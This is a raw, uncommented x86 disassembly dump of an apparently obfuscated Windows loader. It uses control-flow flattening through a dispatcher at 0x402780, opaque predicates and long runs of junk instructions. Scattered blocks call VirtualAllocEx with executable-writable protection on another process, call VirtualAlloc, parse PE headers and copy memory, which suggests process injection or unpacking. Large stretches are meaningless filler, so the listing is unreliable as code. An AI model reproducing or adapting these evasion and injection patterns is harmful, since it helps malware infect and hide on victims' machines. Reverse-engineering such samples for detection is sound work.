mov dword [eax], 0x10
mov eax, dword [ebp - 0x20]
mov eax, dword [0x497384]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xc46a388f
and ecx, edx
not edx
and edx, 0xc46a388f
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x3d490d84
and eax, 0xc2b6f27b
or ecx, eax
mov eax, ecx
xor ecx, 0x100a24
xor eax, 0xf923350b
mov edi, eax
and ecx, 0xb8130f24
and edi, 0x47ecf0db
and eax, 0x5b9a3264
or edi, ecx
mov ecx, edi
mov edx, edi
xor ecx, 0x47ecf0db
xor edx, 0x1c76c2bf
xor edi, 0x90000324
and edx, ecx
mov esi, ecx
and edi, 0xd720736d
and esi, 0x28df8c92
and ecx, 1
or eax, edx
or esi, edi
mov edx, eax
not edx
and eax, 0x6321e05b
mov edi, esi
xor edi, 0xd720736c
xor esi, 0x1b0c80
and edx, 0x9cde1fa4
or ecx, edi
and esi, 0x103b1cac
or eax, edx
mov edx, eax
xor edx, 0xc80
xor eax, 0x38bbd23e
mov edi, eax
or eax, ecx
and ecx, 0xefc4e353
and edi, 0xefc4e353
and edx, 0x103b1cac
or edx, edi
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xe66f84c3
and edx, 0x19907b3c
or edx, esi
mov esi, ecx
not esi
and ecx, 0x19907b3c
or eax, esi
and esi, 0xe66f84c3
or ecx, esi
not eax
mov esi, 0x1a044da9
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xcade4f09
mov edx, ecx
and edx, 0x3521b0f6
or eax, edx
xor eax, 0x3521b0f6
xor ecx, eax
test ecx, eax
setne al
sete dl
cmp dword [0x497380], 0xa
setl cl
setge ah
and al, cl
or cl, dl
and ah, dl
or al, ah
xor cl, 1
or cl, al
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
mov edx, 0xec97d7fe
cmovne edx, esi
test cl, cl
mov ecx, 0xec97d7fe
cmovne ecx, edx
test al, al
cmove ecx, edx
mov eax, ecx
jmp 0x402780
mov eax, 0xb83dd748
jmp 0x402780
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x164], eax
mov eax, 0x62aa3ab3
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0xec], ecx
jmp 0x402780
mov eax, 0x59737dc8
jmp 0x402780
cmp byte [ebp - 0x97], 0
mov eax, 0x24c0311c
mov ecx, 0x73534959
cmovne eax, ecx
jmp 0x402780
mov ecx, dword [0x497384]
mov edi, 0x4df61755
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x8f2d23f8
and ecx, 0x70d2dc06
or edx, ecx
mov ecx, eax
and ecx, 1
xor edx, 0x8f2d23f8
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn esi, eax, edx
or ecx, esi
mov esi, 0x3775fe6c
not ecx
or ecx, edx
xor ecx, 0xffffffff
sete dl
setne ah
cmp dword [0x497380], 0xa
setl al
setge cl
or dl, al
xor al, ah
xor al, 1
or al, cl
xor cl, ah
xor al, 1
and cl, dl
xor cl, al
mov edx, ecx
cmovne esi, edi
not dl
test dl, al
cmovne esi, edi
test cl, cl
mov ecx, esi
cmovne ecx, edi
test dl, al
mov eax, dword [ebp - 0x5c]
cmove ecx, esi
cmp dword [eax], 0
mov eax, ecx
setne byte [ebp - 0x92]
jmp 0x402780
mov eax, dword [ebp - 0x24]
cmp dword [eax], 0
mov eax, 0x5d12551f
sets byte [ebp - 0x96]
jmp 0x402780
mov eax, dword [ebp - 0xa0]
push 0x40
push 0x3000
push dword [ebp - 0x170]
push 0
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x174], eax
mov eax, 0x10e1e933
jmp 0x402780
mov eax, dword [ebp - 0x14c]
mov eax, 0xa84d31ab
jmp 0x402780
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x58]
mov ecx, dword [ecx]
movzx edx, word [ecx]
mov ecx, edx
not ecx
mov edi, edx
and edi, 0x1a34
mov esi, ecx
and esi, 0xffff8008
and ecx, 0x67e9
or edi, esi
mov esi, edx
xor esi, 0x9a3c
and esi, edx
xor edi, 0x1a34
and edx, 0x9816
or esi, edi
or ecx, edx
mov edi, esi
not edi
and esi, 0x1e0f
and edi, 0xffffe1f0
or esi, edi
mov edi, esi
xor edi, 0x3c8
xor esi, 0x7433
mov ebx, esi
and ebx, 0xffff9816
and edi, 0x67e9
or edi, ebx
xor ecx, edi
not ecx
or ecx, esi
not ecx
movzx ecx, cx
add ecx, dword [eax]
mov eax, dword [0x497384]
lea edx, [eax + 1]
mov dword [ebp - 0x130], ecx
imul edx, eax
mov ecx, edx
xor ecx, 0xe863af06
mov eax, edx
and eax, 0xb14fcd23
and ecx, edx
not edx
and edx, 0x4eb032dc
or eax, edx
mov edx, eax
xor eax, 0x48202204
xor edx, 0x10400
mov esi, eax
or esi, 0x5901041
and edx, 0x48212400
and esi, 0xa5d29b47
or edx, esi
mov esi, ecx
not esi
and ecx, 0x5a2d64b8
or eax, esi
and esi, 0xa5d29b47
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x179c50f9
and eax, 0xe863af06
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0xc48282d5
not ecx
mov esi, ecx
and edx, eax
and esi, 0xc48282d5
and eax, 0x29da556a
or edx, esi
mov esi, edx
not esi
and edx, 0xc48282d4
and esi, 0x3b7d7d2b
or edx, esi
mov esi, ecx
and esi, 0xd625aa95
and ecx, 1
or esi, eax
xor esi, 0x29da556b
or ecx, esi
mov esi, 0xdd29ee5
mov eax, ecx
not eax
and ecx, 0x36eef7a
and eax, 0xfc911085
or ecx, eax
xor ecx, 0x36eef7a
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x80598cc9
and eax, 0x7fa67336
or eax, ecx
mov ecx, eax
xor ecx, 0x42a64330
xor eax, 0x4c1
and eax, 0x3d0034c7
and ecx, 0xc2ffcb38
or ecx, eax
cmp ecx, 0xc2ffcb38
sete al
cmp dword [0x497380], 0xa
mov ecx, eax
setge ah
setl dl
xor ah, al
and cl, ah
not ah
and ah, al
xor al, dl
xor cl, 1
and al, dl
or al, ah
xor al, 1
mov edx, eax
or al, cl
xor dl, cl
mov ecx, eax
xor cl, dl
mov ecx, 0xb18c9002
cmovne ecx, esi
test al, al
mov eax, 0xb18c9002
cmovne eax, ecx
test dl, dl
cmove eax, ecx
jmp 0x402780
mov eax, 0xec840638
jmp 0x402780
mov eax, dword [ebp - 0x2c]
mov dword [eax], 1
mov eax, 0xcaccb727
jmp 0x402780
mov eax, dword [0x497384]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x9ef4fc20
and ecx, edx
not edx
and edx, 0x9ef4fc20
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xa0ab926d
and eax, 0x5f546d92
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0x40208180
xor eax, 0x3e5f6e4d
xor edx, 0x3e5f6e4c
and edx, eax
and ecx, 0x4c2d8dc4
and eax, 0xb3d2723b
or eax, ecx
xor eax, 0xb3d2723a
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0xc601a210
and eax, 0x28ce0560
mov edx, ecx
or edx, 0x1201080
and esi, 0xc721b290
and ecx, 0x1010480f
and edx, 0xc721b290
or ecx, esi
mov esi, 0x8299c4fa
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x1130588f
and ecx, 0xeecfa770
or eax, ecx
setne al
sete dl
cmp dword [0x497380], 0xa
setl ch
setge ah
mov cl, ch
and al, ch
xor ch, dl
and ah, dl
or cl, dl
or al, ah
xor cl, 1
or cl, ch
mov ch, cl
mov edx, ecx
and dl, al
xor ch, 1
xor al, 1
and ch, al
or al, cl
or ch, dl
mov cl, al
mov edx, 0x88d62e9a
xor cl, ch
test cl, 1
cmovne edx, esi
test al, al
mov eax, 0x88d62e9a
cmovne eax, edx
test ch, ch
cmove eax, edx
jmp 0x402780
mov eax, 0xbe737468
jmp 0x402780
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x7fe301c4
and eax, 0x36b97795
mov esi, edx
and esi, 0x801cfe3b
and edx, 0xc946886a
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0xf7460b82
mov edx, eax
xor edx, 0x36b97795
xor eax, 0xc946886a
and esi, 0x8b9f47d
or ecx, esi
mov esi, ecx
xor esi, 0x375af5b9
xor ecx, 0xc8a50a46
and edx, ecx
and eax, esi
or eax, edx
xor ecx, eax
and ecx, eax
mov eax, 0x58ee1328
mov dword [ebp - 0x14c], ecx
jmp 0x402780
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x100]
mov dword [eax], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov dword [eax], 0
mov eax, 0x14fee60e
jmp 0x402780
mov eax, 0x84b7a00c
jmp 0x402780
mov eax, 0xada6a074
jmp 0x402780
mov eax, dword [ebp - 0x144]
mov eax, dword [ebp - 0x140]
mov eax, 0x6b99e692
jmp 0x402780
mov eax, 0xb8d4f9db
jmp 0x402780
mov eax, 0xe264ff42
jmp 0x402780
mov eax, 0x45f0dd09
jmp 0x402780
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [ebp - 0x104], eax
mov eax, 0x303cb2f8
jmp 0x402780
mov eax, 0xe3f7f8de
jmp 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x21820124
mov ecx, edx
and ecx, 0x16498281
and edx, 0x1906f329
or esi, ecx
mov ecx, eax
xor ecx, 0x37cb83a5
and ecx, eax
xor esi, 0x21820124
and eax, 0xe6f90cd6
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x3f5c06d4
mov edx, eax
xor eax, 0x1906f329
xor edx, 0xe6f90cd6
and esi, 0xc0a3f92b
or ecx, esi
mov esi, ecx
xor esi, 0x8978570
xor ecx, 0xf7687a8f
and eax, esi
and edx, ecx
mov esi, 0xf6dff79d
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete ah
setne al
cmp dword [0x497380], 0xa
setge cl
setl ch
mov edx, ecx
or cl, al
xor dl, al
xor al, ch
and dl, ah
not al
and al, ch
xor dl, 1
xor al, 1
mov ah, dl
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
or al, ah
xor al, 1
or dl, al
xor al, cl
jmp 0x40ff31
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x1ff457d7
and eax, 0x3021214
mov edx, ecx
and edx, 0xe00ba828
or ecx, 0x78008549
or esi, edx
and ecx, 0xf891ad69
mov edx, esi
xor esi, 0x60008008
xor edx, 0x4644082
or eax, ecx
or esi, 0x80912820
and edx, 0x46c4082
and esi, 0xf891ad69
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x7c6cc5cb
and ecx, 0x83933a34
or eax, ecx
mov edi, eax
not edi
mov edx, eax
and edx, 0xb9b98eda
and eax, 0xa40801
mov ecx, edi
and ecx, 0x46467125
or edi, 0x3701777e
or edx, ecx
mov ecx, edx
mov ebx, edx
xor ecx, 0xb9b98eda
xor ebx, 0x7147065b
xor edx, 0x44004100
and ebx, ecx
and edx, 0x4c38c35a
and ecx, 0xb3c73ca4
mov esi, ebx
not esi
and ebx, 0x4a5585f
or ecx, edx
mov dword [ebp - 0x28], esi
and dword [ebp - 0x28], 0xfb5aa7a0
or esi, edi
and edi, 0xfb5aa7a0
xor ecx, 0xb3c73ca4
add ebx, dword [ebp - 0x28]
or eax, edi
not esi
mov edi, 0x4886bd29
xor eax, ebx
mov ebx, 0x4886bd29
or esi, eax
mov eax, esi
not eax
and esi, 0xc86ed66e
and eax, 0x37912991
or esi, eax
xor esi, 0xff6fa111
or ecx, esi
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0xdf65dc68
and ecx, 0x209a2397
or eax, ecx
mov ecx, eax
xor ecx, 0x18641c20
xor eax, 0x209a2397
mov esi, eax
and esi, 0xc701c3cf
and ecx, 0x38fe3c30
or ecx, esi
mov esi, edx
not esi
and edx, 0x38fe3c30
or eax, esi
and esi, 0xc701c3cf
or edx, esi
not eax
mov esi, 0x60450b50
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xc7da3f64
mov edx, ecx
and edx, 0x3825c09b
or eax, edx
xor eax, 0xc7da3f64
or eax, ecx
cmp eax, 0xffffffff
setne dl
cmp dword [0x497380], 0xa
setl ah
setge cl
mov ch, ah
xor ah, dl
mov al, cl
and cl, dl
xor ah, 1
xor al, dl
or ch, dl
or cl, ah
and al, dl
mov edx, ecx
xor al, 1
mov ah, cl
not dl
mov dh, al
or al, ch
and dl, cl
xor dh, ch
xor al, 1
xor dl, 1
or al, dh
xor ah, dl
or dl, cl
xor al, 1
xor dl, 1
mov ecx, eax
or dl, ah
xor dl, 1
or cl, dl
xor al, dl
mov edx, ecx
xor dl, al
test dl, 1
cmovne ebx, esi
test al, 1
mov eax, ebx
cmovne eax, edi
test cl, 1
cmovne eax, ebx
jmp 0x402780
mov eax, dword [0x497384]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xdb3b2cdd
mov eax, edx
and eax, 0x49012810
and ecx, edx
not edx
and edx, 0x923a04cd
or eax, edx
mov edx, eax
xor edx, 0x40012010
xor eax, 0xb6fed7ef
mov esi, eax
and esi, 0x89a6cf2c
and edx, 0x521920d1
or edx, esi
mov esi, ecx
not esi
and ecx, 0x765930d3
or eax, esi
and esi, 0x89a6cf2c
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x3f097add
and ecx, 0xc0f68522
or eax, ecx
mov edx, eax
xor edx, 0xe4325600
xor eax, 0x1bcda9ff
mov ecx, eax
mov esi, edx
or ecx, 1
and eax, 0xfffffffe
and esi, 1
and edx, 0x8aebcece
or esi, eax
mov eax, ecx
and eax, 0x75143130
or edx, eax
mov eax, esi
not eax
and esi, 0x8aebcecf
or ecx, eax
and eax, 0x75143130
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0x5072edcd
mov eax, ecx
not eax
and ecx, 0xd7d0b266
and eax, 0x282f4d99
or ecx, eax
mov eax, ecx
xor eax, 0x5c0b226
xor ecx, 0x28064098
and ecx, 0xfa1640d8
and eax, 0x5e9bf27
or eax, ecx
mov ecx, eax
xor ecx, 0xb20440d0
xor eax, 0x5e9bf27
mov edx, eax
and edx, 0x4dda192f
and ecx, 0xb225e6d0
or ecx, edx
xor ecx, 0xb225e6d0
or ecx, eax
xor ecx, 0xffffffff
sete ch
setne dl
cmp dword [0x497380], 0xa
setl ah
setge al
mov cl, ah
mov dh, ah
xor ah, ch
and ch, al
or al, dl
xor al, 1
and dh, dl
xor cl, dl
or al, ah
or dh, ch
xor al, 1
or al, dh
mov edx, eax
not dl
and dl, cl
xor cl, 1
mov ch, cl
xor ch, al
and al, cl
and ch, cl
or al, dl
mov edx, 0xc55d6421
mov cl, ch
xor cl, al
cmovne edx, esi
test al, al
jmp 0x4123ae
mov eax, dword [ebp - 0x38]
mov eax, 0x48982061
jmp 0x402780
mov eax, 0x2575d66c
jmp 0x402780
cmp byte [ebp - 0x8f], 0
mov eax, 0xf0f01d9e
mov ecx, 0x2cd40742
cmovne eax, ecx
jmp 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
or esi, 0x40310a03
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x954e55f4
and ecx, eax
and esi, 0x41355a87
and edx, 0x944a0570
or edx, esi
mov esi, ecx
not esi
and ecx, 0xbecaa578
or eax, esi
and esi, 0x41355a87
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x6ab1aa0b
and eax, 0x954e55f4
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xa6220bed
and eax, 0x59ddf412
or eax, edx
xor eax, 0x59ddf413
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xa91ff41e
and eax, 0x11c23401
mov edx, ecx
and edx, 0x56e00be1
or ecx, 0xa0090804
or esi, edx
and ecx, 0xea19092e
mov edx, esi
xor esi, 0x800
xor edx, 0x4c010
or eax, ecx
or esi, 0x4a10012a
and edx, 0x424c2d0
and esi, 0xea19092e
or edx, esi
mov esi, 0x57f06620
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xbed3755f
and ecx, 0x412c8aa0
or eax, ecx
mov ecx, eax
xor ecx, 0x185cbf81
xor eax, 0x25010000
and ecx, 0xd85cfff5
and eax, 0x27a3000a
or eax, ecx
xor eax, 0x27a3000a
setne dl
sete ah
cmp dword [0x497380], 0xa
mov al, dl
setl ch
setge cl
and al, cl
and ch, ah
xor dl, cl
or ch, al
and dl, ah
mov al, ch
xor al, cl
or cl, ah
xor cl, 1
and al, ch
or cl, dl
xor al, 1
mov ah, cl
mov ch, cl
xor ah, 1
mov dl, ah
or ah, al
and dl, cl
xor dl, 1
xor ch, dl
or dl, cl
xor dl, 1
or dl, ch
mov ecx, 0xab726906
xor dl, al
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test ah, ah
mov eax, 0xab726906
jmp 0x4120c2
mov ecx, dword [ebp - 0x148]
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xa0841631
mov edx, eax
and edx, 0xd020080
and eax, 0xc0cd74f9
or esi, edx
mov edx, ecx
xor edx, 0xad8616b1
and edx, ecx
xor esi, 0xa0841631
and ecx, 0x3f328b06
or edx, esi
or eax, ecx
mov ecx, dword [0x497384]
mov esi, edx
not esi
and edx, 0xa46314f5
and esi, 0x5b9ceb0a
or edx, esi
mov esi, edx
xor esi, 0xc50040
xor edx, 0xd61afdbb
mov edi, edx
and edi, 0x3f328b06
and esi, 0xc0cd74f9
or esi, edi
xor eax, esi
xor edx, eax
test edx, eax
lea eax, [ecx + 1]
setne byte [ebp - 0x98]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 1
and eax, 0x2c98515d
mov esi, edx
and esi, 0xfffffffe
and edx, 0xd367aea2
or ecx, esi
or eax, edx
mov esi, 0x62e4b568
not ecx
xor eax, 0x2c98515d
or eax, ecx
xor eax, 0xffffffff
setne cl
sete ah
cmp dword [0x497380], 0xa
setl al
setge dl
mov ch, al
or dl, cl
xor ch, ah
xor dl, 1
and ah, ch
or dl, ch
and ch, al
xor al, cl
xor ah, 1
xor ch, 1
mov cl, al
or al, dl
mov dh, ah
xor cl, dl
xor al, 1
xor dh, ch
or ch, ah
or al, cl
xor ch, 1
mov cl, al
or ch, dh
xor cl, 1
mov dl, ch
xor dl, 1
and cl, dl
or dl, al
and al, ch
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xff2ffb73
cmovne eax, esi
test dl, 1
mov edi, 0xff2ffb73
cmovne eax, edi
test cl, 1
cmove eax, esi
jmp 0x402780
mov eax, 0x182fa035
jmp 0x402780
push 4
push 0x3000
push dword [ebp - 0x15c]
push dword [ebp - 0xec]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov ecx, 0x9e56c68f
mov eax, dword [ebp - 0x34]
cmp dword [eax + 4], 0
mov eax, 0x1c0d4919
cmove eax, ecx
jmp 0x402780
mov eax, 0xaae0237f
jmp 0x402780
mov eax, 0x118abb29
jmp 0x402780
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x4c]
push 0x400
push dword [ecx]
push dword [eax]
vzeroupper
call fcn.00436b30
add esp, 0xc
or edx, 0x22
rol edi, 0xdc
dec edx
rol eax, 0xbd
inc ebx
mov eax, 0x76
not esi
sbb esi, 0x78
rol ebx, 0x2a
imul ebx
or edi, 0xe0
inc esi
inc edx
bswap ebx
or edx, 0xe6
add ebx, 0x5b
neg edi
rcl eax, 0x31
add eax, 0x2e
inc edx
neg edi
sbb ebx, 0x2c
inc eax
sbb eax, 0xc9
dec esi
or edi, 0x28
sbb edi, 0xbd
inc edi
add edx, 0x14
inc esi
ror ebx, 0xeb
sub ebx, 0x30
or edx, 0x64
dec edi
and edx, 0x97
inc ebx
bswap edx
neg edi
add edi, 0xc7
neg edx
and edi, 0xbc
not ebx
inc edx
rol eax, 0x72
sub ebx, 0x16
and edi, 0x47
not edx
imul edi
dec edi
dec eax
inc edx
add esi, 0xf3
not edx
inc ebx
and edx, 0x2d
rcl ebx, 0x9b
mov ebx, 0xe4
ror ebx, 0x1c
inc eax
not eax
inc edx
rol ebx, 0x1b
dec esi
inc eax
not edi
sub edx, 0x19
or edi, 0xf0
bswap edx
mov edx, 0x33
inc eax
not eax
rcl esi, 0x54
bswap esi
inc edi
neg esi
imul esi
imul eax
not edx
rcr edx, 0x93
imul ebx
and ebx, 0x59
imul eax
and eax, 0xa4
dec esi
add ebx, 0xa
ror esi, 0x78
neg edx
neg edi
neg eax
mov eax, 0
dec eax
inc eax
and edi, 0xe6
rol edi, 0xd6
sub eax, 0xdb
ror eax, 0xbf
dec eax
bswap edx
dec ebx
neg edx
mov edi, 0x62
inc edi
rcl eax, 0xa9
dec ebx
dec esi
rcr ebx, 0x49
dec esi
or edx, 2
add eax, 0xb7
rol eax, 0x90
inc edx
sub esi, 0x27
add esi, 0xc7
rol edx, 0xf0
neg edx
not ebx
rcl esi, 0xb1
imul esi
rcr ebx, 0x82
add edi, 0x11
dec ebx
ror edx, 4
mov edi, 0x61
ror edi, 0xd3
sub ebx, 0x8a
neg edi
rol esi, 0x39
not edx
rol ebx, 0x8a
rol esi, 0x29
ror edx, 0xc6
not eax
rcr edi, 0x48
inc edx
inc edi
neg edx
bswap eax
not esi
imul esi
sub edi, 0xb1
imul esi
rol esi, 0x13
ror edi, 0xdf
imul edx
sub esi, 0x71
sub edx, 4
bswap edi
rcr ebx, 0x76
mov ebx, 0x16
rcr eax, 0x4a
mov ecx, dword [ebp - 0x1c]
mov esi, 0xa710b3d6
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
lea eax, [ecx + eax + 0x18]
mov dword [ebp - 0xfc], eax
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x6028c04
mov edx, eax
and edx, 0x80802030
and eax, 0x797d53cb
or ecx, edx
xor ecx, 0x6028c04
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x5c10da76
and ecx, 0xa3ef2589
or eax, ecx
cmp eax, 0x5c10da76
setne al
cmp dword [0x497380], 0xa
setge cl
mov edx, ecx
or cl, al
xor dl, al
mov ch, cl
mov eax, 0xa710b3d6
xor dl, 1
or ch, dl
xor dl, cl
mov cl, dl
xor cl, ch
test dl, dl
mov edx, 0x8c241386
cmovne eax, edx
test ch, ch
cmovne eax, esi
jmp 0x4128b8
mov eax, dword [ebp - 0x148]
mov eax, 0xf6dff79d
jmp 0x402780
push eax
mov eax, esp
mov dword [ebp - 0x78], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0x88], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x4c]
mov dword [eax], ecx
not esi
not edi
rcl edx, 0x88
sbb eax, 0x32
imul ebx
dec edi
rcr edx, 0xbe
rcl ebx, 0x6c
neg esi
dec edi
inc eax
rcl edi, 0x14
or edi, 9
bswap esi
not eax
imul esi
sbb edx, 0x6b
inc edx
ror edx, 0xa2
neg eax
dec edi
dec esi
sbb edx, 0x6d
mov edx, 0xaa
not edx
mov edx, 0xb8
neg eax
imul edi
or eax, 0x4c
dec ebx
and edi, 0xb6
rcr eax, 0xb7
sbb edx, 0x71
add edx, 0xe4
or esi, 0x18
or edi, 0xc4
or eax, 0xaf
neg eax
or edx, 0xd8
sub eax, 0xa7
inc edi
neg esi
inc eax
dec edi
bswap edi
dec edx
ror esi, 0x1d
bswap ebx
inc edx
bswap ebx
add edx, 0x52
not edi
mov edx, 0x7c
bswap ebx
bswap esi
and eax, 0x25
inc edi
rol eax, 0xa2
inc eax
and edi, 0xb
ror esi, 0x4f
dec ebx
rcl eax, 0xac
dec edi
rcl edi, 0xd
rcl edx, 0xf5
and esi, 0xf6
imul edi
bswap ebx
not ebx
dec eax
or eax, 0x90
inc eax
dec ebx
imul esi
dec edx
inc edi
or eax, 0xce
bswap esi
neg eax
rcr ebx, 0xdc
mov ebx, 0xe6
mov ebx, 0x4a
add edx, 0x32
inc esi
sbb edx, 0x7f
bswap ebx
add ebx, 0x6e
imul edi
neg ebx
rcr edi, 0x2c
sbb edi, 2
rcr edx, 0xcb
dec edx
ror esi, 0xcc
rcl eax, 0xda
mov eax, 6
and edx, 0x4f
neg edx
sub ebx, 0x16
rol edx, 0x59
neg edi
and ebx, 0x97
rcr edx, 0x6b
sbb edi, 0xb6
rol esi, 0xad
sub esi, 1
not eax
dec ebx
mov eax, 0xd5
dec edx
imul esi
dec edi
not esi
bswap eax
sbb edi, 0x97
or eax, 0x7e
not edi
inc edx
not esi
ror ebx, 0xa
ror edx, 0xfb
add esi, 0xab
dec eax
rol edx, 0x79
sbb eax, 0x31
and ebx, 0xa7
bswap edx
mov edx, 0x79
rol eax, 0x5e
not edx
bswap eax
add edi, 0xd1
imul edx
inc edx
rol eax, 0x44
rcl edx, 0xa8
neg eax
rol eax, 0x73
or esi, 0x38
sub edi, 0xf8
bswap eax
add eax, 0xb1
and edi, 0x2b
sub edx, 0xdd
dec edi
neg esi
not eax
neg edi
inc esi
rcl ebx, 0x4d
not edx
mov ebx, 0x3c
sub ebx, 0x2b
dec edx
rcl eax, 0x38
neg eax
rol esi, 0x4f
rol esi, 0xb2
add edx, 0x4b
not esi
and eax, 0x4f
rol eax, 0xf0
inc eax
bswap esi
inc edx
mov esi, 0x8d
rol edx, 0xad
add edx, 0x4f
add edi, 0x2b
not edi
inc edx
sub esi, 0xb1
and esi, 0x49
rcl ebx, 0x1e
sbb ebx, 0xb3
imul edx
rcl edx, 0x93
mov edx, 0x18
dec ebx
rol eax, 0xe8
ror eax, 0xbc
sbb eax, 0xe7
and ebx, 0xdb
not edi
imul ebx
rcl edi, 0xb4
dec edx
sbb edx, 0xea
rol eax, 0x17
inc edi
or esi, 0x1f
or edx, 0x39
sbb edi, 7
inc esi
not eax
ror eax, 0xca
neg eax
rcr ebx, 0x9d
imul esi
rol esi, 0x55
add eax, 0x88
sub ebx, 0x1d
inc edi
rcl edx, 0x60
and edx, 0x1d
dec edx
dec edx
rol eax, 0x26
neg edi
dec eax
ror esi, 0xd4
dec ebx
mov edi, 0x2a
rcl ebx, 0xfb
rol esi, 0x64
dec edx
neg esi
not edi
not esi
neg esi
rcr edi, 0x4d
mov ebx, 0x25
sbb eax, 0x32
and esi, 0x63
rcr ebx, 0xad
inc eax
imul eax
inc edx
sub esi, 0x56
rcl eax, 0xa4
rcr edx, 0xbe
bswap ebx
bswap esi
add esi, 0x92
ror edi, 0xd8
ror ebx, 0xb7
mov esi, 0x45
or eax, 0x79
neg esi
rcr edx, 0xbc
sbb eax, 0x73
bswap edx
sbb edi, 0x54
neg ebx
not edx
or eax, 0x1d
neg edi
sbb edi, 0x62
imul edx
imul edi
and edx, 0x11
or esi, 0x25
or edi, 0x5b
sub eax, 0x1d
or edi, 0xdd
neg edx
sub edx, 0x54
sbb eax, 0x99
rol edx, 0xb7
sbb esi, 0x43
rcl esi, 0xf9
neg eax
inc edi
neg edx
ror edi, 0x3f
neg esi
ror eax, 0x10
ror eax, 0xfc
rol ebx, 0xe3
bswap ebx
and eax, 0xa1
sbb esi, 0x5c
or eax, 0xc5
neg esi
rcr edx, 0x44
sbb ebx, 0x52
rol eax, 0xb4
add edi, 0x64
ror ebx, 0x79
imul edi
ror esi, 0xe8
inc ebx
dec edi
rol edi, 0x97
neg esi
rcl edi, 0x99
rcl edi, 0xe1
and edi, 0x4e
sbb esi, 0xda
sub edx, 0x81
imul edi
bswap ebx
bswap edx
rcr ebx, 0x14
rcl edx, 0x72
not eax
mov eax, 0xf1
bswap esi
rol edi, 0x23
sbb edi, 0xf1
dec edx
neg edx
not esi
bswap edx
not ebx
neg esi
dec edi
or edx, 0x1b
add ebx, 0x68
bswap edi
not edx
and esi, 0xa2
add edi, 0xf9
bswap esi
or eax, 0xe8
and eax, 0xf4
neg edx
add ebx, 0x79
and edx, 0xc1
rcr edx, 8
ror edx, 0xc0
ror eax, 0x24
bswap edx
rcl edx, 0xbc
neg esi
rcl esi, 0x74
bswap eax
rol edi, 0xba
dec esi
dec edi
imul edi
inc ebx
ror edi, 0xe4
bswap esi
imul eax
imul ebx
dec edx
add ebx, 0x59
not esi
ror edi, 0x33
bswap ebx
inc esi
sub ebx, 0x10
inc ebx
or eax, 0x69
dec eax
add edi, 0xdd
add edx, 7
and edi, 0x9b
inc edx
dec eax
rcl esi, 0x7c
sbb eax, 0xf5
mov esi, 0x51
add eax, 0
dec edi
rcl edx, 0x63
rcr edi, 0x5e
imul edi
rcl ebx, 0x29
dec edx
